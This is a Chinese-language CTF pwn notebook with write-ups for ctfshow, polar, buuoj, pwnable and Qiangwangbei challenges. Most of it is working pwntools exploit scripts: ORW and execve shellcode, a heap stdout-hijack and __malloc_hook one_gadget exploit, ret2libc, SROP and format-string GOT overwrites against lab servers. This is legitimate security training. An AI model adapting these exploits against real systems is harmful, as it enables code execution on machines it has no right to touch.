pwn刷题

ctfshow

pwn70 不可见字符

orw + 不可见字符绕过strlen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
orw = asm('''
push 0x67616c66
mov rdi,rsp
xor esi,esi
push 2
pop rax
syscall
mov rdi,rax
mov rsi,rsp
mov edx,0x100
xor eax,eax
syscall
mov edi,1
mov rsi,rsp
push 1
pop rax
syscall
''')

payload = b'\x00\x10'+orw # \x10 是换行符
sl(payload)
itr()

不可打印字符(non-printable characters)是指在计算机字符集中不对应于可见符号或图形的字符。这些字符通常用于控制文本的格式、流控制、数据结构或者是特殊的功能,而不是直接表示人类可读的内容。

1. 不可打印字符的分类

不可打印字符通常可以分为以下几类:

  • 控制字符:这些字符用于控制设备(如打印机或终端)的行为。例如:

    • 换行(Line Feed, LF)\n(ASCII 10),用于换行。
    • 回车(Carriage Return, CR)\r(ASCII 13),用于返回到行首。
    • 制表符(Tab)\t(ASCII 9),用于插入水平制表。
    • 警告音(Bell)\a(ASCII 7),用于发出声音提示。
  • 终止字符:如 null 字符 \0(ASCII 0),常用于标记字符串的结束。

  • 特殊控制字符:如 ESC(ASCII 27),用于引入控制序列。

2. 不可打印字符的ASCII码

以下是一些常见的不可打印字符及其对应的 ASCII 码:

字符 描述 ASCII 码
NUL 空字符(null) 0
SOH 标题开始 1
STX 正文开始 2
ETX 正文结束 3
EOT 传输结束 4
ENQ 请求 5
ACK 确认 6
BEL 响铃 7
BS 退格 8
HT 水平制表符 9
LF 换行 10
VT 垂直制表符 11
FF 换页 12
CR 回车 13
SO 转换为旁路 14
SI 转换为内部 15
ESC 转义 27
DEL 删除 127

3. 应用场景

不可打印字符在计算机编程和文本处理中的应用非常广泛,包括但不限于:

  • 文本格式和控制:在终端或打印机输出时,控制字符用来格式化输出。
  • 数据结构:在某些数据结构中,特定的字符可能被用作分隔符或结束符。
  • 协议设计:在网络通信协议中,不可打印字符可能用于标记消息的开始和结束,或者表示特定的控制信息。

不可打印字符在安全中的作用

在安全场景中,不可打印字符经常被用作绕过过滤器和检查的手段。例如:

  • 缓冲区溢出攻击:攻击者可能会插入不可打印字符,以欺骗安全检查并执行恶意代码。
  • 注入攻击:在某些情况下,攻击者可能会通过注入不可打印字符来操纵输入,绕过输入验证。

pwn162

有些东西在早些版本是有缺陷的?

  • 远程环境:Ubuntu 16.04

思路:

首先明确在free时,程序会在free的chunk的fd处写0,并且show()函数无用所以要打stdout

  • 利用unsortedbin的特性在chunk上留下libc地址(通过chunk shrink),该chunk称chunk A
  • 利用程序的特性,部分覆盖使其1/16指向_IO_2_1_stdout_附近
  • fastbin_dup(partial write)使chunk A链入fastbin那么stdout附近的那个chunk(B)就也被链入了fastbin
  • 申请出chunk B修改stdout的flag->0xfbad1800 和 write_base的低位 -> \x00,并计算地址
  • 用realloc调整栈帧使one_gadget成立

为什么覆盖libc地址的低2字节为b”\xdd\x25”?

在gdb中查看_IO_list_all的地址,可以看到stdout,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
pwndbg> p (void*)_IO_list_all
$1 = (void *) 0x7f8fe0a6b540 <_IO_2_1_stderr_>
pwndbg> p/x &_IO_list_all
$2 = 0x7f8fe0a6b520
pwndbg> x/20gx 0x7f8fe0a6b520
0x7f8fe0a6b520 <_IO_list_all>: 0x00007f8fe0a6b540 0x0000000000000000
0x7f8fe0a6b530: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b540 <_IO_2_1_stderr_>: 0x00000000fbad2086 0x0000000000000000
0x7f8fe0a6b550 <_IO_2_1_stderr_+16>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b560 <_IO_2_1_stderr_+32>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b570 <_IO_2_1_stderr_+48>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b580 <_IO_2_1_stderr_+64>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b590 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b5a0 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007f8fe0a6b620
0x7f8fe0a6b5b0 <_IO_2_1_stderr_+112>: 0x0000000000000002 0xffffffffffffffff
pwndbg>
0x7f8fe0a6b5c0 <_IO_2_1_stderr_+128>: 0x0000000000000000 0x00007f8fe0a6c770
0x7f8fe0a6b5d0 <_IO_2_1_stderr_+144>: 0xffffffffffffffff 0x0000000000000000
0x7f8fe0a6b5e0 <_IO_2_1_stderr_+160>: 0x00007f8fe0a6a660 0x0000000000000000
0x7f8fe0a6b5f0 <_IO_2_1_stderr_+176>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b600 <_IO_2_1_stderr_+192>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b610 <_IO_2_1_stderr_+208>: 0x0000000000000000 0x00007f8fe0a696e0
0x7f8fe0a6b620 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f8fe0a6b6a3
0x7f8fe0a6b630 <_IO_2_1_stdout_+16>: 0x00007f8fe0a6b6a3 0x00007f8fe0a6b6a3
0x7f8fe0a6b640 <_IO_2_1_stdout_+32>: 0x00007f8fe0a6b6a3 0x00007f8fe0a6b6a3
0x7f8fe0a6b650 <_IO_2_1_stdout_+48>: 0x00007f8fe0a6b6a3 0x00007f8fe0a6b6a3

因为我们要在stdout上写入,就必须把它申请出来,并且fastbin取出chunk是要检查size域的,所以我们必须要在stdout附近伪造chunk,一般在libc地址上伪造的chunk的size都为7f

通过观察发现如下:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30gx 0x7f8fe0a6b620-0x43
0x7f8fe0a6b5dd <_IO_2_1_stderr_+157>: 0x8fe0a6a660000000 0x000000000000007f<--size
0x7f8fe0a6b5ed <_IO_2_1_stderr_+173>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b5fd <_IO_2_1_stderr_+189>: 0x0000000000000000 0x0000000000000000
0x7f8fe0a6b60d <_IO_2_1_stderr_+205>: 0x0000000000000000 0x8fe0a696e0000000
0x7f8fe0a6b61d <_IO_2_1_stderr_+221>: 0x00fbad288700007f 0x8fe0a6b6a3000000
0x7f8fe0a6b62d <_IO_2_1_stdout_+13>: 0x8fe0a6b6a300007f 0x8fe0a6b6a300007f
0x7f8fe0a6b63d <_IO_2_1_stdout_+29>: 0x8fe0a6b6a300007f 0x8fe0a6b6a300007f
0x7f8fe0a6b64d <_IO_2_1_stdout_+45>: 0x8fe0a6b6a300007f 0x8fe0a6b6a300007f
0x7f8fe0a6b65d <_IO_2_1_stdout_+61>: 0x8fe0a6b6a400007f 0x000000000000007f
...
pwndbg>

如上,在 0x7f8fe0a6b5dd 处可以很好的伪造size,后三位为 5dd 所以我们写libc低2字节为b”\xdd\x25”就有1/16的概率指向stdout附近。

最后再次通过fastbin_dup申请到__malloc_hook附近用one_gadget来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-04-30 19:26:43
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('pwn.challenge.ctf.show',28238)
else:
p = process(file_name)
elf = ELF(file_name)
#libc = elf.libc
libc = ELF('libc-2.23.so')
gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
leak = lambda name, addr :log.success('{} -> {:#x}'.format(name, addr))
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil(b"\xf7")[-4:].ljust(4, b"\x00"))
l64 = lambda :u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4, b"\x00"))
uu64 = lambda :u64(p.recv(6).ljust(8, b"\x00"))
int16 = lambda data :int(data, 16)


def add(size,name,message):
sla(b'Your choice : ',b'1')
sla(b"size of the daniu's name: ",str(size))
sla(b"daniu's name:",name)
sla(b"daniu's message:",message)

def mod(size,name,message):
sla(b'Your choice : ',b'1')
sla(b"size of the daniu's name: \n",str(size))
sa(b"daniu's name:\n",name)
sla(b"daniu's message:\n",message)

def delete(index):
sla(b'Your choice : ',b'3')
sla(b"daniu's index:",str(index))

offset = b"\xdd\x25"
##要打IO(hijack stdout)就要在fd或bk指针上留下libc值
##先free一个大的进入unsortedbin,再分配一个相对较小的就可以在它的fd bk上留下libc地址
add(0x20,b'aaaa',b'aaaa') #0
add(0x68,b'aaaa',b'aaaa') #1
add(0x68,b'aaaa',b'aaaa') #2
add(0x7f,b'aaaa',b'aaaa') #3
add(0x18,b'aaaa',b'aaaa') #4
#在chunk上留下libc地址
delete(0)
delete(3)
##利用程序的特性,部分地址覆盖使其1/16指向_IO_2_1_stdout_附近
mod(0x60,offset,offset) #5

##fastbin_dup在fastbin链上留下IOstdout附近的地址
##将其申请出改写
delete(1)
delete(2)
delete(1)
mod(0x68,b'\xd0',b'\xd0') #6
add(0x68,b'\xd0',b'\xd0') #7
add(0x68,b'\xd0',b'\xd0') #8
add(0x68,b'\xd0',b'\xd0') #9
payload = b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00'

sla(b"Your choice : ",b"1")
sla(b"size of the daniu's name: \n",str(0x68))
sa(b"daniu's name:\n",payload)
##接收地址并计算
data = l64()
print(hex(data))
libc_base = data - 0x3c5600
one = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc_base + one[1]
malloc_hook = libc_base+libc.sym['__malloc_hook']
realloc = libc_base+libc.sym['realloc']
fake_chunk = malloc_hook-0x23
sl(b'aaa')
leak('libc_base',libc_base)
leak('one_gadget',one_gadget)
leak('__malloc_hook',malloc_hook)
leak('realloc',realloc)

##fastbin_dup申请到__malloc_hook附近
##realloc()调整栈帧,one_gadget来getshell
delete(1)
delete(2)
delete(1)
add(0x68,p64(fake_chunk),b'aaaa')
add(0x68,b"a",b"a")
add(0x68,b"a",b"a")

add(0x68,b"a"*0x13+p64(one_gadget)+p64(realloc+0x6),b"a")
pause()
p.sendlineafter(b"Your choice : ",b"1")

itr()

pwn164

这题用的是realloc分配内存。

1
realloc(void* ptr, size_t size)

关于realloc有几个重要的知识点:

  • realloc(ptr,0)相当于free函数

  • realloc(0.size)相当于malloc函数

  • realloc(ptr,size)

    • newsize<size:进行分割,剩下的chunk如果大于等于MINSIZE则进行free

    • newsize<size:

      • next 为top且满足需求,直接从top切割
      • next为freechunk 且满足要求先合并(unlink)再切割
      • next不满足要求进行malloc(newsize),然后进行数据拷贝,free原chun

关于 realloc的详细介绍,看这位大佬的blog: realloc相关知识点

解题:

本题就两个函数一个realloc,一个free函数。很简单

在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的的chunk都会写在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢

利用思路:

主要利用基础:UAF,double free

注意到题目中是没有show类型的函数的,所以想进行地址泄露应该要靠IO_FILE攻击

难点:利用realloc进行堆块合并后,再利用UAF进行地址覆盖

polar靶场

sandbox

输入 $0 即可绕过那几个检查

1. $0 的基本含义

  • 在脚本中$0 表示正在运行的脚本名称。
    例如,执行脚本 ./test.sh 时,$0 的值是 ./test.sh
  • 在交互式 Shell 中$0 表示当前 Shell 的名称(如 bashshzsh)。
    例如,在 Bash 中输入 echo $0,输出通常是 bash

creeper

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 game()
{
char buf[64]; // [rsp+0h] [rbp-40h] BYREF

puts("Creeper?");
read(0, buf, 0x100uLL);
if ( strlen(buf) == 0xF )
{
puts("Aw man");
system("cat flag");
}
else
{
puts("Si............");
}
return 0LL;
}

输入15个字符就行,如:

1
aaaabbbbaaaabb\n

hahaha

后门直接溢出就行,高版本需要有栈平衡

1
2
3
4
payload = b'a'*(0x30+8) + p64(0x0000000000400441) + p64(0x400596)
sl(payload)

itr()

cat

溢出改栈上的变量

1
2
3
4
5
ps = b"lovecat"
payload = b'a'*0x20 + p64(0x74616365766F6C)
sl(payload)

itr()

buu

rip

题目给出ubuntu18,.且是64位程序需要考虑栈平衡

lambda部分省略

1
2
3
4
5
6
7
ret = 0x0000000000401016
flag = 0x401186
payload = b'a'*0xf + b'b'*8 + p64(ret) + p64(flag)
#ru(b'please input')
sl(payload)

flag{2b384cc7-6cc9-4d5e-a659-0635a86cdad5}

warmup_csaw_2016

ubuntu16.04,题目给出了一个地址可以cat flag.txt

1
2
3
4
5
6
7
8
ru(b'WOW:')
flag = int(r(8),16)
print(hex(flag))
payload = b'a'*(64+8) + p64(flag)
ru(b'>')
sl(payload)

itr()

ciscn_2019_n_1

栈溢出修改栈上的变量,计算出两个变量的位之差

1
2
3
4
5
6
7
from pwn import *
import struct
#p = process('./pwn')
p = remote('node5.buuoj.cn',28132)
payload = b'a' * 0x2c + struct.pack('<f', 11.28125) # + p64(0x41348000)
p.sendline(payload)
p.interactive()

pwn1_sctf_2016

ubuntu16.04(在其他版本也行)程序将I替换为you通过strcpy造成了溢出,有后门函数

1
2
3
padding = 20 # 0x3c = 60; 60/3=20;
payload = b'I'*padding + b'a'*4 + p32(0x8048f0d)
sl(payload)

level0

ubuntu16.04 read()栈溢出有后门

1
2
3


flag{16a465c7-eed0-4eda-8fcb-dd5ca85ee50d}

[第五空间2019 决赛]PWN5

格式化字符串,任意地址写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 思路一:格式化字符串改atoi为system,第二次读入'/bin/sh\x00'
1atoi_got = elf.got['atoi']
system_plt = elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})
p.recv()
sl(payload)
p.recv()
sl(b'/bin/sh\x00')

itr()
# 思路二:改passwd 用fmstr_payload 需要指定架构

# payload = p32(0x0804C044)+p32(0x0804C045)+p32(0x0804C046)+p32(0x0804C047)+b"%10$n%11$n%12$n%13$n"
# 这一种改0x0804c044的随机值为0x10101010
payload = fmtstr_payload(10,{0x0804c044:0x666})

p.sendline(payload)

passwd = str(0x666)
p.sendline(passwd)
p.interactive()

jarvisoj_level2

read()溢出,有system和/bin/sh

1
2
3
4
5
6
7
bin_sh = 0x0804A024
system = 0x08048320
payload = b'a'*(0x88+4) + p32(system) + b'aaaa' + p32(bin_sh)
sl(payload)

itr()
flag{d935d6a8-444a-4bab-896f-32f177ac0db9}

ciscn_2019_n_8

直接写入14个p32(17)就行了

1
2
3
4
5
6
7
8
>>> from pwn import *
>>> p = remote('node5.buuoj.cn',29574)
[x] Opening connection to node5.buuoj.cn on port 29574
[x] Opening connection to node5.buuoj.cn on port 29574: Trying 117.21.200.176
[+] Opening connection to node5.buuoj.cn on port 29574: Done
>>> payload = p32(17)*14
>>> p.sendline(payload)
>>> p.interactive()

bjdctf_2020_babystack

自己输入输入长度,溢出,有后门

1
2
3
4
5
6
ru(b'[+]Please input the length of your name:')
p.sendline(b'32')
ru(b'[+]What\'s u name?')
p.sendline(b'a'*(0x10+8)+p64(0x4006e6))

itr()

ciscn_2019_c_1

strlen()有'\0'截断,所以在加密函数中可以直接跳出循环,然后打ret2libc即可

libc版本,buu上的64位2.27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
puts_plt = 0x4006e0
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
padding = 0x50 + 8 - 1
payload = b'\0' + b'a'*padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x4009a0)
ru(b'Input your choice!')
sl(b'1')
ru(b'Input your Plaintext to be encrypted')
sl(payload)
puts_addr = l64()
print(hex(puts_addr))

base_addr = puts_addr - libc.symbols['puts']
system = base_addr + libc.symbols['system']
bin_sh = base_addr + next(libc.search(b'/bin/sh'))

payload2 = b'\0' + b'a'*padding + p64(ret) + p64(pop_rdi) + p64(bin_sh) +p64(system) + p64(0)
ru(b'Input your Plaintext to be encrypted')
sl(payload2)

itr()

收获

C语言代码伪代码要一行一行分析,分析循环跳出的条件

jarvisoj_level2_x64

read()栈溢出

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote('node5.buuoj.cn',26824)

system = 0x4004c0
bin_sh = 0x600A90
rdi = 0x00000000004006b3
payload = b'a'*(0x80+8) + p64(rdi) + p64(bin_sh) + p64(system)

p.sendline(payload)
p.interactive()

ciscn_2019_s_3

SROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mov_rax_0xf = 0x4004DA
vuln = 0x4004ED
syscall = 0x400517
s(b'a'*16+p64(vuln))
r(0x20)
stack = uu64() - 0x118 #在打本地时会因ubuntu版本不同而异
leak('stack', stack)

payload = b'/bin/sh\x00' + b'a'*0x8 + p64(mov_rax_0xf)+p64(syscall)
payload += p64(0)*13 + p64(stack) + p64(0)*4 +p64(59)+p64(0)*2
payload += p64(syscall) + p64(0) + p64(0x33) + p64(0)*7

s(payload)

itr()

pwnable

start

image-20251118213518519

主要问题:泄露esp和esp每次溢出后都会因为add esp 14h;retn发生变化

应对:由于溢出(0x14)的存在先写脚本调试运行,返回地址明显可以看出要设为(0x08048087)。第一次溢出后esp地址将通过write(1,ecx,14h)泄露出来,再次从read溢出后可计算泄露出来的esp和再次从read溢出后的esp的差值

1
2
3
4
5
6
7
8
9
10
11
12
#pause()
ru(b':')
s(b'aaaabaaacaaadaaaeaaa'+p32(0x08048087))

esp = uu32()
leak('esp', esp)

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = b'a'*0x14 + p32(esp+0x14) + shellcode
s(payload)

itr()

强网杯

flag-market

image-20251129213339232由上图可知存在格式化字符串。flag在堆上,通过栈中留下的一个地址刚好是堆地址,程序输出过flag后可由find "flag{"查到flag在堆中的偏移如下:

image-20251129213700882

思路:

开启时读取flag并将stream放在栈上,这是一个堆地址,进去发现flag在堆上

输入255时会scanf读取到bss上有溢出,此时发现该位置下面便是printf参数所在地址,将printf参数覆盖成格式化字符串,泄露堆地址。

flag在堆上,直接找到位置,通过栈变量s给它放到栈上,通过%s泄露出来即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sla(b'2.exit\n', b'1')
sla(b'pay?\n', b'255')

sla(b'report:\n', b'a' * 0x100 + b'+%9$p-%12$s')
sla(b'2.exit\n', b'1')
sa(b'pay?\n', p64(0x4040c0))

flag = int16(p.recvuntil(b'-',True).decode()) + 0x1e0

leak('flag',flag)

sla(b'2.exit\n', b'1')
sa(b'pay?\n', p64(flag))

itr()